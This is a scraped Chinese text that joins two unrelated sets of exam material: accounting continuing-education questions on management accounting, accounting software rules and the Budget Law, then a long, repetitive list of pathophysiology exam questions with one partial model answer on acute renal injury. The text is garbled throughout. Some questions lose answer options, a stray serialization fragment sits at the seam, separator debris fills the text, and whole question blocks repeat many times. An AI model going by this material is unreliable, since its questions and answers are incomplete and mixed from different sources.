@#@外部监管的要求利率市场的开放业务环境的变化宏观政策的导向判断题（共1题）2.银行通过建立管理会计体系，可以归集各分支行的利率风险，平衡利率敏感性资产与负债，控制流动性风险。

@#@（）错误正确2.实施管理会计体系，指导银行产品定价，精细成本核算，实现银行内部多维度的收入和成本的测算。

@#@（）错误正确1.管理会计的核心是（）。

@#@价值管理盈利管理财务管理财务核算判断题（共1题）2.管理会计系统本质上是一个会计的专业议题，其顺利实施需要企业上下统一思想和认识并密切配合。

@#@（）错误正确单项选择题（共1题）1.下列各项中，不属于管理会计系统实施效果检验标准的是（）。

@#@是否改变了企业文化、企业组织结构与业务流程是否在提高企业资源配置、成本费用控制、现金流营运、经营风险控制等方面取得了实效是否形成了企业良好的顶层设计是否推进了企业内部权责利密切结合的经营机制判断题（共1题）2.管理会计体系贵在落地实施，实施过程中的一些制度安排是必须的。

@#@（）错误正确1.主要为企业外部信息使用者定期提供财务信息而进行的会计是指（）。

@#@税务会计财务会计管理会计现金会计2.管理会计的核心是（）。

@#@财务管理盈利管理财务核算价值管理3.管理会计工具的选取要以问题为导向，注重（）。

@#@创新扎实实用有效4.兵装集团财务管理以（）为首要任务，全面提升财务管理服务战略决策、战略执行和战略评价的能力。

@#@收缩战略发展战略服务战略稳定战略5.关于管理会计体系框架搭建的原则，下列说法错误的是（）。

@#@管理会计要推进价值管理、优化资源配置、把控经营风险管理会计必须实现业务过程、投资经营与财务系统的一体化管理管理会计必须打破企业内部分工的职能壁垒与条块分割管理会计与财务会计数据同源，分类相同，所以切记要在同一信息系统中利用同一数据报告，切忌“两套账”、“两张皮”判断题（共5题）6.企业发展、管理提升都需要从管理层到员工的高度认同，需要企业所有成员群策群力。

@#@（）正确错误7.企业管理中强调业务、财务联动成为大家的共识，因此，财务与业务融合不存在困难。

@#@（）错误正确8.管理会计体系化推进需要有统一的设计理念、共同的技术语言和规范。

@#@（）错误正确9.在实际操作中，从工具选取、指导手册到企业实践，兵装集团的管理会计体系建设都始终立足于业务需要。

@#@（）错误正确10.企业拟推进的管理会计体系必须具备战略管理功能，在系统中的目标设定必须对接企业战略目标。

@#@（）错误正确单项选择题（共5题）1.在实际管理中，能够有针对性地根据企业发展战略、经营特点、管控方式选择财务管理的方法和管理会计工具，实现财务管理与生产经营的深度融合，是指推进管理会计体系化建设“四化”中的（）。

@#@体系化个性化数据化信息化2.为银行管理层的决策提供基础信息的是（）。

@#@内部资金转移定价体系销售管控体系盈利分析体系成本分摊体系3.下列不属于兵装集团管理会计体系四个“联动”的是（）。

@#@顶层设计和成员企业实践联动管理层与股东联动全面与试点联动业务与财务联动4.要实现精细化的标准成本控制，首先要（）。

@#@执行标准工序成本夯实基础测算工序成本制定标准工序成本5.兵装集团下属长江电工总结的业务、财务融合“三关键”不包括（）。

@#@预算“做实”预算“做细”预算“做透”预算职责明确判断题（共5题）篇二：

@#@20xx年河南会计继续教育试题及答案东奥一、单项选择题（本题共10小题，每小题5.0分，共50.0分。

@#@每小题备选答案中，只有一个符合题意的正确答案。

@#@多选、错选、不选均不得分。

@#@）1.软件供应商对售出已超（）年、且客户不再支付维护费的会计软件不承担修改义务。

@#@?

@#@A．1?

@#@B．2?

@#@C．3?

@#@D．5?

@#@ABCD2.下列不属于管理会计在管理控制与决策阶段的方法和理论是（）。

@#@?

@#@A．泰罗的科学管理理论?

@#@B．质量成本管理?

@#@C．作业成本法?

@#@D．价值链分析和战略成本管理?

@#@ABCD3.从20xx年6月到20xx年11月，《财政部关于全面推进管理会计体系建设的指导意见》发布经历了（）个阶段。

@#@?

@#@A．四?

@#@B．三?

@#@C．二?

@#@D．一?

@#@ABCD4.管理会计理论体系建设滞后表现在（）。

@#@?

@#@A．尚未形成与我国国情相适应的管理会计理论体系?

@#@B．尚未形成管理会计人才资格认证和评价体系?

@#@C．通晓中外会计规则和财经法规的高端会计人才相对缺乏?

@#@D．我国管理会计信息化仍处于低水平状态?

@#@ABCD5.下列选项中，为推动建立管理会计人才能力框架，完善现行会计人才评价体系应采取的措施不正确的是（）。

@#@?

@#@A．将管理会计知识纳入会计人员和注册会计师继续教育、总会计师素质提升工程和会计领军（后备）人才培养工程知识的比重?

@#@C．仅加强国内管理会计学术间的交流合作?

@#@D．鼓励高等院校加强管理会计课程体系和师资队伍建设，加强管理会计专业方向建设和管理会计高端人才培养，与单位合作建立管理会计人才实践培训基地?

@#@ABCD6.下列关于会计软件的记账功能的表述，不正确的是（）。

@#@?

@#@A．应当提供可逆的记账功能?

@#@B．应当确保对同类已记账凭证的连续编号?

@#@C．不得提供对已记账凭证的删除和插入功能?

@#@D．不得提供对已记账凭证日期、金额、科目和操作人的修改功能?

@#@ABCD7.会计软件应当记录生成用户操作日志，用户操作日志应当满足的要求不包括（）。

@#@?

@#@A．完整性?

@#@B．安全性?

@#@C．可查询性?

@#@D．可更改性?

@#@ABCD8.XBRL是（）。

@#@?

@#@A．一项专利技术?

@#@B．一种交易协议?

@#@C．一套标准的账户体系?

@#@D．可扩展商业报告语言?

@#@ABCD9.美国管理会计师协会成立于（）年，是全球领先的国际管理会计师组织。

@#@?

@#@A．1917?

@#@B．1918?

@#@C．1919?

@#@D．1920?

@#@ABCD10.下列关于财务会计与管理会计的区别表述错误的是（）。

@#@和制度的制约，处理方法选择灵活?

@#@B．财务会计主体单一，以企业作为会计主体反映财务状况、经营成果和现金流动情况；@#@管理会计多层次主体，既要反映企业整体，也要反映内部各责任单位的信息?

@#@C．财务会计按照规定的会计期间（如月、季度、年）编制报告；@#@管理会计不受固定会计期间的限制，可根据需要按日、周、月编制报告?

@#@D．财务会计既反映货币化信息，也反映诸如存货量、产量等非货币化信息；@#@管理会计主要反映货币化的会计信息?

@#@ABCD三、判断题（本题共10小题，每小题5.0分，共50.0分。

@#@）1.供应商应当从技术上确保客户会计资料的安全和完整，这一责任应以客户是否支付服务费为前提。

@#@（）对错2.《企业会计信息化工作规范》所称会计信息化，是指企业利用计算机、网络通信等现代信息技术手段开展会计核算，以及利用上述技术手段将会计核算与其他经营管理活动有机结合的过程。

@#@（）对错3.《企业会计信息化工作规范》既适用于企业会计信息化，也适用于行政事业单位。

@#@（）对错4.目前我国管理会计尚处于起步阶段，很多企业没有专设机构和岗位（管理会计师），仅限于财务分析岗位，财务会计人员从事初级的管理会计工作。

@#@（）对错5.对于电子银行业务来说，如果采用第三方认证，则银行和客户企业双方所得到的交易凭据数据的公信力都能得到保证。

@#@（）对错6.20xx年1月28日，印发《财政部关于全面推进管理会计体系建设的指导意见》征求意见稿，面向社会公开征求意见。

@#@（）对错7.省、自治区、直辖市人民政府财政部门发现会计软件不符合《企业会计信息化工作规范》规定的，应当将有关情况报财政部。

@#@（）对错8.会计软件应当具有会计资料归档功能，但因系统运行及维护需要而通过备份系统进行的备份，无论是在线的还是离线，都不是真正意义上的归档保存。

@#@（）对错9.全面预算的本质是一种把成本计算和成本控制相结合的方法。

@#@（）对错10.《财政部关于全面推进管理会计体系建设的指导意见》的主要目标是建立与我国社会主义市场经济体制相适应的管理会计体系。

@#@（）对错篇三：

@#@20xx年东奥会计河南省会计继续教育考试试题1.新《预算法》最终经人大常委会审议通过的时间是（）。

@#@?

@#@A．1994年3月22日?

@#@B．1995年1月1日?

@#@C．20xx年8月31日?

@#@D．20xx年1月1日ABCD2.下列属于管理会计的表述正确的是（）。

@#@?

@#@A．侧重于对外部信息使用者提供财务信息，属于“对外报告会计”?

@#@B．侧重在“记录价值”，通过确认、计量、记录和报告等程序提供并解释历史信息?

@#@C．不受会计准则和制度的制约，处理方法选择灵活?

@#@D．主体单一，以企业作为会计主体反映财务状况、经营成果和现金流动情况ABCD3.下列选项中，不属于一般公共预算支出按照其经济性质分类的是（）。

@#@?

@#@A．国防支出?

@#@B．工资福利支出?

@#@C．商品和服务支出?

@#@D．资本性支出ABCD4.国家预算是实现财政职能的（）。

@#@?

@#@A．渠道?

@#@B．基本手段?

@#@C．唯一途径?

@#@D．基本计划ABCD5.下列属于推进管理会计指引体系建设的主要任务和措施是（）。

@#@?

@#@A．整合科研院校、单位等资源，推动形成管理会计产学研联盟?

@#@B．加大投入，鼓励院校、国家会计学院等建立管理会计研究基地，开发管理会计课程和案例、推广管理会计理论和做法?

@#@C．推动改进现行会计科研成果评价方法，切实加强管理会计理论和实务研究?

@#@D．建立管理会计专家咨询机制，为管理会计指引体系的建设和应用等提供咨询ABCD6.社会保险基金预算是对除（）之外，专项用于社会保险的收支预算。

@#@?

@#@A．社会保险缴款?

@#@B．一般公共预算安排筹集的资金?

@#@C．其他方式筹集的资金?

@#@D．用于保障和改善民生筹集的资金ABCD7.下列关于行政事业单位（公共部门）管理与企业管理的比较表述正确的是（）。

@#@?

@#@A．都包括计划、组织、控制、评价等职能?

@#@B．公共部门的管理目标是营利?

@#@C．企业缺少竞争和效率意识?

@#@D．企业缺少责任机制ABCD8.国有资本经营收入属于（）。

@#@?

@#@A．一般公共预算?

@#@B．社会保险基金预算?

@#@C．国有资本经营预算?

@#@D．政府性基金预算ABCD9.下列选项属于管理会计发展的第三阶段“强调价值创造阶段”的方法和理论是（）。

@#@?

@#@A．质量成本管理（QCM）?

@#@B．作业成本法（ABC）?

@#@C．战略成本管理理论?

@#@D．平衡计分卡ABCD10.我国的预算体系中共设立了（）级预算。

@#@?

@#@A．一?

@#@B．二?

@#@C．三?

@#@D．四ABCD三、判断题（本题共10小题，每小题5.0分，共50.0分。

@#@）1.改革开放以来，我国会计标准建设以及会计学术和实务中，考虑外部投资者、社会公众和外部审计较多，而服务内部管理决策不够，管理会计发展相对滞后，为单位发展提供规划、决策、控制和评价等方面的作用未得到充分有效发挥。

@#@（）对错2.管理会计在行政事业单位的应用的目的是提高财政管理管理水平和财政资金使用效益。

@#@（）对错3.各级政府可以适当地向预算收入征收部门和单位下达收入指标。

@#@（）对错4.各级政府财政部门负责监督检查本级各部门及其所属各单位预算的编制、执行，并向本级政府和上一级政府财政部门报告预算执行情况。

@#@（）对错5.政府的全部收入应当上缴国家金库，任何部门、单位和个人不得截留、占用、挪用或者拖欠。

@#@（）对错6.管理会计主要反映货币化的会计信息。

@#@（）对错7.全面质量成本管理（TQCM），与传统质量管理不同，强调事中控制不合格品的产生，从根源上保证质量。

@#@（）对错8.政府性基金预算是对依照法律、行政法规的规定在一定期限内向所有对象征收、收取或者以其他方式筹集的资金，专项用于所有公共事业发展的收支预算。

@#@（）对错9.预算收入征收部门和单位，必须依照法律、行政法规的规定，及时、足额征收应征的预算收入。

@#@（）对错10.未依照新《预算法》规定，编制、报送预算草案、预算调整方案、决算草案和部门预算、决算以及批复预算、决算的应给予降级撤职、开除的处分。

@#@（）对错@#@";i:

13;s:

26977:

"1.肿瘤相关基因种类，概念。

@#@分别举一例说明其在肿瘤发生，发展中的作用机制@#@2.化学致癌物的分类，其致突变和致癌的分子机制@#@3.缺血-在灌注损伤的机制@#@4.尿毒症的发病机制@#@1，热休克蛋白@#@2，全身炎症反应综合征@#@3，左心衰各期呼吸改变@#@4，再灌注时自由基生成机制@#@1、检测细胞抗原的主要技术方法及原理，举例说明。

@#@@#@2、染色质和染色体的结构，举例说明其在疾病状态下常见异常。

@#@@#@3、IHC原理，方法和常见问题，举例说明其应用。

@#@@#@4、microRNA的分子学功能及调控，请举例说明其异常与疾病的关系。

@#@@#@5、细胞生长与死亡的主要分子路径，举例说明其研究方法。

@#@@#@6、举例说明分子异常与疾病的关系，举例设计研究方案。

@#@@#@7、8题是实验分析题，给一组图分析结果。

@#@@#@1.肿瘤相关基因种类，概念。

@#@分别举一例说明其在肿瘤发生，发展中的作用机制2.化学致癌物的分类，其致突变和致癌的分子机制3.缺血-在灌注损伤的机制4.尿毒症的发病机制@#@1、基因突变的遗传方式及与疾病的关系@#@2、恶性肿瘤细胞膜变化的意义@#@3、解释“瘤基因-抑瘤基因学说”@#@4、巨噬细胞在动粥中的作用@#@5、胆汁成分变化在胆石形成中的意义@#@6、胃粘膜的保护因素机制@#@7、血小板激活时的功能变化及机制@#@8、靶细胞脱敏的机制，G-蛋白与靶细胞脱敏的关系@#@9、心肌缺血坏死的超微结构该编辑部可逆坏死的机制@#@1、染色体畸变及发生机制@#@2、受体病的分类，试举一例说明@#@3、消化性溃疡的发病机制@#@4、胆汁淤积对机体的影响@#@5、肺动脉高压的分类@#@6、ET、ON的生理学作用@#@7、肿瘤病毒的致瘤机制@#@8、血浆粘度升高的原因@#@9、内皮功能与血栓形成的关系@#@1、如何用峰流率来评价气道高反应性@#@2、肺栓塞的病理与病理生理@#@3、胸腔积液产生的新旧机制@#@4、支气管哮喘的发病机制@#@5、卡氏肺孢子虫肺炎的发病机制@#@6、结节病的发病机制@#@7、通气机相关性肺炎的病理与病理生理@#@1、LDL和HDL在动脉粥样硬化形成中的作用@#@2、缺血再灌注损伤的发生机制@#@3、心肌梗死后心室重塑的主要机制@#@4、原发性高血压发病中的内分泌因子@#@一、简答题：

@#@4题×@#@5分@#@1.简述GABA在肝性脑病中的作用@#@2.为什么部分肺泡通气/血流比例下降只导致低氧血症，而不会导致PaCO2升高？

@#@@#@3.简述DIC时出血的机制@#@4.肾性高血压的发病机制@#@二、论述题：

@#@@#@1.一患者，血压波动于160/100近十年，近期发生左心衰竭，，请分析其发病机制（15分）@#@2.试述休克I期微循环变化的特点、机制和代偿意义（10分）@#@3.一肺心病患者，入院呈昏睡状态，查：

@#@PH7.26，PaCO265.5,HCO3－30,CL－92,Na＋@#@145,试分析患者为何种酸碱失衡及电解质紊乱？

@#@根据是什么？

@#@并分析期昏睡的机制？

@#@（15@#@分）@#@1.请简述肾素——血管紧张素系统@#@2.请简述第二心音固定分裂的病理生理基础@#@3.请简述心室舒张充盈受阻的病理生理基础@#@4.请简述心源性休克的病理基础@#@5.请简述环形运动折返的三个条件@#@6.请描述心肌收缩和舒张的基本过程，并从而阐述心力衰竭发生的基本机制。

@#@@#@7.请描述酸中毒对心肌收缩力的影响。

@#@@#@8.临床对心力衰竭病人检测心率的基本意义是什么？

@#@@#@9.休克早期病人通过什么途径代偿血压的下降？

@#@@#@10.请区分SIRS、Sepsis和Septicshock的概念。

@#@@#@1. @#@ @#@严重心肌缺血为什么会影响心脏收缩和舒张功能？

@#@@#@2. @#@ @#@试述白细胞在心肌缺血再灌注中的作用@#@3. @#@ @#@试论血管内皮细胞的DIC中的作用@#@4. @#@ @#@试论心肌肥大的特点和意义@#@5. @#@ @#@试述心肌细胞的肾上腺素受体的作用和信号转导途径@#@一、简答题@#@1简述凋亡的基本过程@#@2水中毒的病因和对机体的影响@#@3低钾血症对机体的影响@#@4心肌肥大的基本特点@#@5简述钙超载引起心肌损伤的机制@#@6何为缺血预处理？

@#@它有哪些保护作用？

@#@@#@二、论述题@#@1一例严重感染并发急性肾小管坏死的病人会出现哪些酸硷平衡紊乱，为什么？

@#@@#@2何为自由基？

@#@试述它在体内的作用。

@#@@#@6.以霍乱为例说明G蛋白在发病中的作用@#@7.间充质干细胞的来源，特点及应用前景@#@8.代谢性酸中毒的机体代偿机制以及酸碱平衡指标的变化@#@9.心肌肥大的生物学特性@#@10.设计一个实验，说明在心肌缺血再灌注有心肌细胞凋亡@#@1.什么是阴离子间隙，它在酸碱紊乱中有什么作用？

@#@@#@2.呼吸窘迫症发病的原因和机制？

@#@@#@3.什么是心肌肥大，它在心功能不全的发生发展过程中有什么作用？

@#@@#@4.设计一个试验，证明在心肌缺血再灌注的过程中存在细胞凋亡；@#@@#@5.什么叫血液重新分布？

@#@在哪些疾病中可以见到？

@#@@#@1严重心肌缺血为什么会影响心肌收缩和舒张功能？

@#@@#@2呼吸性酸中毒机体将如何进行代偿调节？

@#@酸碱平衡的指标如何改变？

@#@@#@3慢性肾衰者可能会发生哪些内分泌功能变化，患者相应会出现哪些症状和体征？

@#@@#@4血氨致肝性脑病的机制。

@#@@#@5设计一个试验，证明缺血再灌注损伤心脏存在细胞凋亡。

@#@@#@脑死亡的定义和诊断标准@#@凋亡的定义，举例说明凋亡与疾病防治的关系@#@DIC的各期及其特征@#@呼吸衰竭的定义及可能出现的酸碱紊乱@#@论述：

@#@@#@DIC和休克的关系@#@肝性脑病的临床分期、血氨增高的原因及其对脑组织的毒性机制@#@钙的生理作用、胞内钙的调节机制、钙超载与疾病的关系@#@1.脑死亡的诊断指标@#@2.缺氧对组织细胞的影响@#@3.影响再灌注心律失常的因素@#@4.肝性脑病的诱因@#@三论述题@#@1.代谢性酸中毒对机体的影响及机制@#@2.细胞凋亡与坏死的区别@#@1、内毒素引起DID的机制。

@#@@#@2、非菌血症性临床败血症的发病机制?

@#@@#@3、肾性骨营养不良的发生机制?

@#@@#@4、长居高原地区引起肺原性心脏病的发病机理@#@2、败血症休克的机制？

@#@？

@#@@#@3、休克复苏以后，缺血再灌注氧自由基产生增多的原因及其损害机制？

@#@@#@4、高血钾对心血管系统的影响机制？

@#@@#@5、冠心病心力衰竭的机制？

@#@？

@#@@#@1.孕妇急性肝炎诱发DIC机制20分@#@2.急慢代酸代偿具别20分@#@3.为何说氨基酸失衡学说是假性递质学说的补充20分@#@4.肺心病发病机制15分@#@5.肺水肿引发呼衰机机制15分@#@1.心肌重建机制@#@2.糖尿病代谢失调可能引起的酸碱失衡@#@3.氨代谢失调机制及其对大脑的影响@#@4.慢性心功能不全病理生理机制@#@1试述休克导致急性肾功能衰竭的发病机制@#@2为什么说氧中毒和缺血再灌注损伤都与活性氧的毒性作用有关@#@3请从细胞信号转导的角度阐述高血压发病的分子机制@#@4试述低张性缺氧的代偿性血管反应及其代偿意义@#@1。

@#@试述应激反应时下丘脑-垂体-肾上腺激活的生物学效应（利与敝）@#@2。

@#@述肝性脑病时氨基酸失衡的原因和引起肝昏迷的机制。

@#@@#@3。

@#@为何革兰氏阴性菌感染易引起DIC@#@4。

@#@晚期休克引起呼吸衰竭的机制@#@1.试述急性肺损伤与慢性阻塞性肺病发生呼吸衰竭机制的异同。

@#@@#@2.试述肝功能不全时脑内神经递质改变的原因及其导致昏迷可能的机制。

@#@@#@3.试述高镁血症对机体的影响。

@#@@#@4.试述MODS发生的机制。

@#@@#@6、慢性肾小球肾炎及慢性肾盂肾炎多尿夜尿的机理@#@7、血栓？

@#@下肢深静脉血栓的影响？

@#@@#@8、慢性支气管炎、肺气肿与肺心病的病变及相互关系。

@#@@#@1、甲状腺结节的?

@#@@#@2、高钙危象的处理@#@3、高血压、低血钾的常见病及特点@#@4、糖尿病足的分期和分级@#@5、肾小管酸中毒@#@6、高渗昏迷的处理原则@#@IR发病机制的研究进展@#@一、简答题@#@1简述凋亡的基本过程@#@2水中毒的病因和对机体的影响@#@3低钾血症对机体的影响@#@4心肌肥大的基本特点@#@5简述钙超载引起心肌损伤的机制@#@6何为缺血预处理？

@#@它有哪些保护作用？

@#@@#@二、论述题@#@1一例严重感染并发急性肾小管坏死的病人会出现哪些酸硷平衡紊乱，为什么？

@#@@#@2何为自由基？

@#@试述它在体内的作用。

@#@@#@1.简述ARI时肾脏细胞的损伤情况@#@1、受损细胞@#@

（1）肾小管细胞ARI时肾小管损伤的病理特征有两种:

@#@@#@①小管破裂性损伤：

@#@表现为肾小管上皮细胞坏死，脱落，基底膜也被破坏。

@#@虽然肾小管各段都可受累，但并不是每个肾单位都会出现损伤。

@#@这种损伤在肾中毒及持续性肾缺血病例均可见到。

@#@@#@②肾毒性损伤：

@#@表现为主要损伤近曲小管，可累及所有肾单位，肾小管细胞呈大片状坏死，但基膜完整，主要见于肾中毒的病例。

@#@@#@肾缺血和肾中毒时对肾小管上皮细胞的损伤多表现为细胞功能紊乱而不是坏死。

@#@如果细胞坏死或出现形态结构的病理改变，表明损伤已十分严重。

@#@@#@

（2）内皮细胞内皮细胞受损时结构与功能异常包括：

@#@@#@①内皮细胞肿胀，血管管腔变窄，血流阻力增加，肾血流减少。

@#@髓质血管内皮细胞的肿胀引起直小血管的血流阻力增加，甚至导致外髓质淤血，缺氧以致肾小管功能、形态结构破坏，可能在ARI时对GFR的持续降低起着重要作用。

@#@@#@②内皮细胞受损激发血小板聚集与微血栓形成以及毛细血管内凝血。

@#@肾小球毛细血管内的血栓形成，纤维蛋白沉积具有促进GFR减少的作用。

@#@@#@③肾小球内皮细胞窗变小，甚至减少也可直接影响肾小球超滤系数（kf）使GFR降低。

@#@@#@④内皮细胞释放舒血管因子减少，而释放缩血管因子增多均可加强肾血管的持续收缩，使GFR降低。

@#@@#@（3）系膜细胞：

@#@@#@缺血或中毒性肾损伤时有许多内源性及外源性的活性因子释放如ATⅡ，ADH等，这些物质多数可引起系膜细胞收缩。

@#@庆大霉素，腺苷，硝酸铀等毒物也可直接导致肾小球血管阻力增加及肾小球滤过面积改变和kf降低，从而促进GFR持续降低。

@#@@#@▲2、肾组织细胞损伤的机制【难点】@#@

（1）ATP产生减少：

@#@缺血时因缺氧及代谢底物缺乏而导致ATP产生减少，缺血及酸中毒引起的线粒体功能障碍也可导致ATP生成障碍。

@#@@#@①ATP减少不仅减弱肾小管的主动重吸收功能，而且由于Na+-K+-ATP酶的活性减弱，细胞内Na+、H2O潴留，发生细胞水肿。

@#@@#@②CA2+-ATP酶活性减弱，使肌浆网摄取CA2+受限及细胞内钙泵出减少，引起细胞浆内游离钙增加。

@#@@#@③随着细胞水肿的发生，细胞膜通透性改变，大量CA2+涌入细胞内，形成细胞内钙超载。

@#@细胞内游离CA2+增加又可妨碍线粒体的氧化磷酸化功能，使ATP生成更加减少，从而形成恶性循环最终导致细胞死亡。

@#@@#@④由于缺氧时大量增加的ATP可由线粒体进入胞浆并直接抑制Na+-K+-ATP酶的活性，而且肾毒物也可直接使Na+-K+-ATP酶活性减弱，这更加重了细胞内Na+、水潴留及细胞水肿，妨碍细胞的代谢与功能。

@#@@#@

（2）自由基产生增多与清除减少：

@#@肾缺血与缺血后再灌注均可使自由基的产生增多。

@#@由于缺血引起内源性自由基清除系统代谢底物，SOD等缺乏而使自由基的清除减少，组织与细胞内自由基增加。

@#@此外，有些毒物亦可促进自由基的产生，肾毒性免疫性损伤时白细胞可释放大量的自由基。

@#@自由基在组织与细胞内增高可引起各种细胞损伤。

@#@@#@（3）还原型谷胱甘肽（GSH）减少：

@#@肾缺血及肾中毒时，肾组织中GSH显著减少，使细胞抗氧化与过氧化的能力减弱，从而CA2+浓度明显升高以及GSH显著降低的情况下，磷脂酶A2（PLA2）活性增高，因而不仅大量释放脂肪酶，而且使细胞骨架结构解体，各种膜被降解。

@#@大量的脂肪酸如AA，还可分解产生PGS，LTS等产物，从而影响血管张力，血小板聚集以及肾小管上皮细胞的功能。

@#@@#@2.简述GABA在肝性脑病发病中的作用@#@3.呼吸衰竭引起心功能衰竭的病因@#@4.心性哮喘的发病机制@#@5.DIC引起出血的原因@#@6.缺血再灌注损伤时氧自由基生成增多的机制@#@7.血栓调节蛋白的抗凝血作用@#@8.急性期反应蛋白的生物学功能@#@信号转导障碍的机制@#@六、论述20分@#@1.为什么说混合性拮抗反应综合征是MSOF发生发展的基础@#@2.试述血管内皮细胞损伤后，血小板的黏附激活过程@#@部分气道阻塞时PaCO2可以升高、降低或正常。

@#@试述何种情况下出现？

@#@机制如何？

@#@@#@休克淤血缺氧期微循环淤血的机制。

@#@@#@CRI的尿量、酸碱平衡和血钙变化及其机制。

@#@@#@心肌舒张功能障碍的机制。

@#@@#@举例说明在疾病中肺和脑的相互作用。

@#@@#@1.请列举基因突变的类型；@#@@#@2.信号转导发生的机制及环节@#@3.缺血再灌注损伤时自由基生成增多的主要机制@#@4.血液性缺氧的原因及血氧参数变化；@#@@#@5.发热的时相及各相热代谢的特点；@#@@#@6.应激与心脑血管疾病的关系；@#@临床实验室@#@7.代谢性碱中毒时机体的代偿机制及血气变化的特点；@#@@#@8.低钠血症的病因和发病机制；@#@@#@9.心力衰竭时心肌代谢障碍的主要机制；@#@@#@10.休克缺血缺氧期和淤血缺氧期血压变化的主要特点和机制@#@11.简述肺通气血流比值失调时血气变化及呼吸衰竭的发病关系；@#@@#@12.肾功能衰竭时肾脏内分泌功能的改变及机制@#@1.简述应激时下丘脑－垂体－肾上腺皮质激素系统的反应及生理意义。

@#@2.简述感染性休克的发生机制。

@#@3.试述缺血－再灌注损伤的氧自由基机制。

@#@4.试述呼吸衰竭引起心力衰竭的机制。

@#@5.简述肾小管功能障碍的发生机制及其产生的后果。

@#@@#@二、问答题@#@1、请叙述休克早期血压代偿的机制和意义。

@#@@#@2、简述ARDS的发生机制。

@#@@#@3、评价心功能的指标有哪几个？

@#@其意义是什么？

@#@@#@4、一慢性肺心病患者，持续服用地塞米松及双氢克尿塞月余，动脉血PH7.34，PaCO265mmHg，PaO250mmHg，BE—5mEq/L，该患者是否有酸碱失调？

@#@@#@5、白细胞膜上的粘附蛋白分哪几类？

@#@其表达调控机制如何？

@#@@#@6、请简述缺氧时循环系统的代偿。

@#@@#@7、功能性和器质性急性肾功能衰竭少尿的发生机制有何不同？

@#@如何鉴别？

@#@@#@二：

@#@问答（论述）题（80分，每题20分）@#@1.试述急性肺损伤与慢性阻塞性肺病发生呼吸衰竭机制的异同。

@#@@#@2.试述肝功能不全时脑内神经递质改变的原因及其导致昏迷可能的机制。

@#@@#@3.试述高镁血症对机体的影响。

@#@@#@4.试述MODS发生的机制。

@#@@#@1。

@#@试述应激反应时下丘脑-垂体-肾上腺激活的生物学效应（利与敝）@#@2。

@#@述肝性脑病时氨基酸失衡的原因和引起肝昏迷的机制。

@#@@#@3。

@#@为何革兰氏阴性菌感染易引起DIC@#@4。

@#@晚期休克引起呼吸衰竭的机制@#@1试述休克导致急性肾功能衰竭的发病机制@#@2为什么说氧中毒和缺血再灌注损伤都与活性氧的毒性作用有关@#@3请从细胞信号转导的角度阐述高血压发病的分子机制@#@4试述低张性缺氧的代偿性血管反应及其代偿意义@#@1.心肌重建机制@#@2.糖尿病代谢失调可能引起的酸碱失衡@#@3.氨代谢失调机制及其对大脑的影响@#@4.慢性心功能不全病理生理机制@#@1.孕妇急性肝炎诱发DIC机制20分@#@2.急慢代酸代偿具别20分@#@3.为何说氨基酸失衡学说是假性递质学说的补充20分@#@4.肺心病发病机制15分@#@5.肺水肿引发呼衰机机制15分@#@2、败血症休克的机制？

@#@？

@#@@#@3、休克复苏以后，缺血再灌注氧自由基产生增多的原因及其损害机制？

@#@@#@4、高血钾对心血管系统的影响机制？

@#@@#@5、冠心病心力衰竭的机制？

@#@？

@#@@#@1、内毒素引起DID的机制。

@#@@#@2、非菌血症性临床败血症的发病机制?

@#@@#@3、肾性骨营养不良的发生机制?

@#@@#@4、长居高原地区引起肺原性心脏病的发病机理@#@判断题@#@一氧化碳中毒会导致组织中毒性缺氧。

@#@@#@低血钾时机体不一定缺钾。

@#@@#@呼吸衰竭必定有二氧化碳中毒。

@#@@#@四、选择题：

@#@@#@1、易发生外周循环衰竭的是：

@#@@#@a．低渗性缺水b。

@#@高渗性缺水c，等渗性缺水d。

@#@水中毒e。

@#@脑水肿@#@五，填空题@#@缺血再灌注损伤发生的基础是。

@#@而与是其重要的发病环节。

@#@@#@六、论述题@#@1、水肿发生的基本机制。

@#@@#@2、休克与DIC的互相关系。

@#@@#@3、急性应激时机体的主要神经－内分泌反应及其利与弊。

@#@@#@4、细胞凋亡调控异常与疾病发病的关系。

@#@@#@5、每年都要有关于酸碱平衡计算方面的题。

@#@@#@

（1）.高钙血症易发生MSOF的机制？

@#@@#@

（2）.革兰氏阴性菌易发生DIC的机制？

@#@@#@（3）.兴奋收缩偶连导致心脏衰竭的机制@#@（4）.应激时糖皮质激素升高对肌体的影响@#@（5）.凋亡时的生化改变@#@（6）.用细胞信号转导的原理分析二型糖尿病的发病机制。

@#@@#@染色体畸变及发生机制@#@2、受体病的分类，试举一例说明@#@3、消化性溃疡的发病机制@#@4、胆汁淤积对机体的影响@#@5、肺动脉高压的分类@#@6、ET、ON的生理学作用@#@7、肿瘤病毒的致瘤机制@#@8、血浆粘度升高的原因@#@9、内皮功能与血栓形成的关系@#@酸中毒可影响什么物质对儿茶酚胺的敏感性@#@休克早期那些部位血管剧烈收缩，那些部位改变不明显@#@左心衰引起呼吸困难的病理生理学基础@#@一、 简答题@#@1简述凋亡的基本过程@#@2水中毒的病因和对机体的影响@#@3低钾血症对机体的影响@#@4心肌肥大的基本特点@#@5简述钙超载引起心肌损伤的机制@#@6何为缺血预处理？

@#@它有哪些保护作用？

@#@@#@二、论述题@#@1一例严重感染并发急性肾小管坏死的病人会出现哪些酸硷平衡紊乱，为什么？

@#@@#@2何为自由基？

@#@试述它在体内的作用。

@#@@#@二、 热休克蛋白的作用：

@#@＿＿、＿＿＿、＿＿＿；@#@@#@三、 MAPK家族成员主要包括：

@#@＿＿、＿＿＿、＿＿＿；@#@@#@四、 休克容易引起AG＿＿型代谢性酸中毒，原因是＿＿＿＿和＿＿＿＿；@#@@#@五、 肺水肿按照发病机制分为＿＿＿＿和＿＿＿＿型肺水肿；@#@@#@六、 问答题：

@#@4*6=24分@#@七、 １、TNF在休克低血压发生中的作用；@#@@#@八、 ２、在休克治疗中，如何保护和恢复细胞损伤？

@#@@#@九、 ３、为何呼酸比代酸更容易出现CNS紊乱？

@#@@#@十、 ４、为何SIRS最容易使肺受累？

@#@@#@细胞凋亡，缺氧诱导因子，促红细胞生成素，发热与过热，多器官衰竭，肺性脑病，MAPK，黏附分子@#@填空题：

@#@２６分，每空０．５分@#@热休克蛋白的作用：

@#@＿＿、＿＿＿、＿＿＿；@#@@#@MAPK家族成员主要包括：

@#@＿＿、＿＿＿、＿＿＿；@#@@#@休克容易引起AG＿＿型代谢性酸中毒，原因是＿＿＿＿和＿＿＿＿；@#@@#@肺水肿按照发病机制分为＿＿＿＿和＿＿＿＿型肺水肿；@#@@#@问答题：

